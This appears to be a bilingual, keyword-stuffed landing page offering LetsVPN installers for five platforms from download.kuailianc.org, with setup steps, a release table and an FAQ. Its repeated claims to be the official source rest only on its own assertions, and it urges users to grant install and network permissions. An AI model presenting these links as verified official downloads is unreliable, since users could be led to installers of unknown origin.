电脑版下载Windows
官方发布承诺与文件来源 Official release commitments and file provenance

快连VPN下载，五端官方来源LetsVPN download from official files

所有快连VPN下载链接直接指向 download.kuailianc.org。先选择平台，再核对文件名、版本和来源，完成快连VPN下载安装。Every LetsVPN download link points directly to download.kuailianc.org. Pick your platform first, then verify filename, version, source, and VPN download link before running the VPN installer.

Android
android.apk

快连VPN安卓版、快连VPN安卓下载与快连VPNAPK 文件入口，适合手机和平板。LetsVPN Android APK for phones and tablets, with a clear VPN installer source.

  • 版本Version2026.07
  • 大小Size58 MB
  • 类型TypeAPK
立即下载Download now
Windows
win.exe

快连VPN电脑版与快连VPNWindows下载入口，适合日常办公电脑。LetsVPN Windows download for everyday desktop use.

  • 版本Version2026.07
  • 大小Size74 MB
  • 类型TypeEXE
立即下载Download now
macOS
macos.dmg

快连VPNMac版与快连VPNmacOS下载入口，适合 MacBook 和桌面 Mac。LetsVPN macOS download as a DMG installer for MacBook and desktop Mac.

  • 版本Version2026.07
  • 大小Size82 MB
  • 类型TypeDMG
立即下载Download now
iOS
ios.ipa

快连VPN苹果版与快连VPNiOS下载入口，用于 iPhone 与 iPad。LetsVPN iOS download for iPhone and iPad.

  • 版本Version2026.07
  • 大小Size61 MB
  • 类型TypeIPA
立即下载Download now
Linux
linux.run

快连VPNLinux下载入口，适合常见桌面发行版。LetsVPN Linux download for common desktop distributions.

  • 版本Version2026.07
  • 大小Size69 MB
  • 类型TypeRUN
立即下载Download now
安装顺序Setup order

查看安装说明View setup guide

先完成文件来源核对，再按系统提示安装。移动端、桌面端和 Linux 端的步骤保持一致。Verify the file source first, then follow the system prompts. Mobile, desktop, and Linux follow the same sequence.

1

选择平台文件Choose platform file

从第一屏下载对应安装包，不使用中转链接。Download the matching installer from the first section without redirectors.

2

核对文件名Check filename

确认文件名为 android.apk、win.exe、macos.dmg、ios.ipa 或 linux.run。Confirm the filename is android.apk, win.exe, macos.dmg, ios.ipa, or linux.run.

3

允许系统权限Allow permissions

按系统提示授予安装、网络扩展或后台连接权限。Approve installation, network extension, or background connection permissions when prompted.

4

完成首次连接Connect once

首次连接使用默认线路，稳定后再调整偏好。Use the default route first, then adjust preferences after a stable connection.

发布清单Release list

版本与文件详情Version and file details

以下信息用于核对快连VPN下载地址、安装包类型和官方来源。文件大小为发布清单中的常规标注。Use these details to verify LetsVPN download link, installer type, and official source. File sizes are standard release-list labels.

平台Platform 文件名Filename 版本Version 类型Type 来源Source
Androidandroid.apk2026.07APKdownload.kuailianc.org
Windowswin.exe2026.07EXEdownload.kuailianc.org
macOSmacos.dmg2026.07DMGdownload.kuailianc.org
iOSios.ipa2026.07IPAdownload.kuailianc.org
Linuxlinux.run2026.07RUNdownload.kuailianc.org
官方来源验证Official-source verification

校验来源比记忆链接更可靠Source checks beat remembered links

快连VPN官方下载只使用本页列出的五个下载地址。若文件名、域名或协议不一致，请返回本页重新获取。LetsVPN official download uses only the five addresses listed here. If filename, domain, or protocol differs, return to this page.

  1. 1确认地址以 https://download.kuailianc.org/ 开头。Confirm the address starts with https://download.kuailianc.org/.
  2. 2确认文件名只属于五个官方安装包之一。Confirm the filename matches one of the five official installers.
  3. 3安装前查看系统提示中的发布者、权限和网络扩展说明。Before installing, review publisher, permission, and network-extension prompts.
系统要求System requirements

兼容性按平台核对Check compatibility by platform

安装前确认系统版本、存储空间和权限策略，可减少首次启动失败。Check OS version, storage, and permission policy before installation to reduce first-launch issues.

Android

建议 Android 8.0 及以上，允许安装 APK。Android 8.0 or later is recommended, with APK installation allowed.

Windows

建议 Windows 10 及以上，并允许网络组件安装。Windows 10 or later is recommended, with network component approval.

macOS

建议 macOS 12 及以上，安装时允许安全提示。macOS 12 or later is recommended; approve security prompts during install.

iOS

建议 iOS 15 及以上，按设备策略完成安装。iOS 15 or later is recommended; follow device policy prompts.

Linux

常见桌面发行版可用，安装前授予执行权限。Common desktop distributions are supported; grant execute permission first.

故障排查Troubleshooting

下载、安装、首次连接的常见问题Download, install, and first-connect FAQ

如果安装前后遇到问题，先从文件来源和系统权限开始检查。If something fails before or after installation, start with source and permission checks.

快连VPN下载链接打不开怎么办？What if a LetsVPN download link does not open?

请确认当前网络允许访问 download.kuailianc.org，并重新从本页点击对应平台按钮。Confirm your current network can reach download.kuailianc.org, then click the matching platform button again.

安装包名称不一致怎么办？What if the filename differs?

不要继续安装。返回快连VPN下载官网，重新获取五个官方文件名之一。Do not continue. Return to the LetsVPN official download page and get one of the five official filenames.

首次连接失败怎么办？What if the first connection fails?

先切换网络，再检查系统是否允许 VPN 配置、网络扩展或后台连接。Try another network, then check whether the system allows VPN configuration, network extension, or background connection.

如何确认这是快连VPN官方下载？How do I confirm this is the official LetsVPN download?

核对域名 kuailianc.org、下载主机 download.kuailianc.org 和本页列出的文件名。Check kuailianc.org, the download host download.kuailianc.org, and the filenames listed here.